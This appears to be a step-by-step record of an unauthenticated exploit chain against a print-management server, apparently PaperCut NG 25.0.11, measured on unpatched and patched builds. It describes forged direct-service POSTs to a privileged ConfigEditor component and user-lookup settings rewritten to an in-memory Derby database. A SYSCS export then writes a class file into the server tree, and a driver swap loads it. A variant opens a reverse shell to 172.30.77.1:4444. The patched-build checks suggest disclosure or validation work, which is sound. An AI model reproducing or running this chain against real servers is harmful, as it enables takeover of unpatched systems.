

Chain as measured on stock 25.0.11.75758 — 11 logical steps = 24 HTTP requests, one un-authenticated keep-alive session, zero credentials

1 · R1 GET /app?service=page/Error → 200
version oracle on a public page: NG 25.0.11 build 75758

2 · R2 GET /app (public Home) → 200 + JSESSIONID
anonymous session established on the rendered Home page

3 · R3 POST /app?service=direct/<rand>/Home/ConfigEditor/... → 200
body carries <!-- Page: Home -->
FORGED complex-direct: names the public Home page, executes the
privileged ConfigEditor component listener = CVE-2026-81578

FIXED ARMS — EPR3 25.0.12-PO-4560 AND MR 25.0.13: THE CHAIN DIES HERE
same POST answered 302 Location: /app?service=page/Home
(ValidatingDirectService.validate → PageRedirectException)
steps 4-7 never run: marker file ABSENT, zero SYSCS bytes on the wire,
tbl_config byte-identical COLD pre/post — both fixed arms, same
exploit bytes, same day

4 · 8 POSTs (quickFindForm + \$Form pairs, same forged shape)
user-lookup.db-driver = org.apache.derby.jdbc.EmbeddedDriver
db-url = jdbc:derby:memory:<rand>;create=true · enabled = Y
id-to-username-sql = CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_
LOBS_TO_EXTFILE(..., 'tmp/<c>.csv', ..., 'lib/.class')

5 · T7 POST Home/UserList/QuickFind.Form
card value = VALUES CAST('X'CAFEBABE...' AS BLOB) → 200
the card lookup runs that SQL on the new memory Derby: the hex
BLOB is written as lib/.class inside the server tree

6 · R9 driver-swap (user-lookup.db-driver :=) → T10 lookup
= CVE-2026-82078
DatabaseUtils.openConnection → Class.forName("") → <clint>
writes marker file (papercut:644), self-deletes the
class + CSV; the SQLException is caught and logged, HTTP 200

7 · R5 teardown (4 POSTs) — restore factory defaults
restore-to-stock proven: COLD tbl_config reads byte-identical
pre/post on every user-lookup key, proven on repeat runs ×3

*reverse-shell variant only: the step-6 payload instead opens Socket(172.30.77.1,4444)
and ProcessBuilder("/bin/sh","-i") — pc-app → /bin/sh -i lineage captured in the kill-shot tree*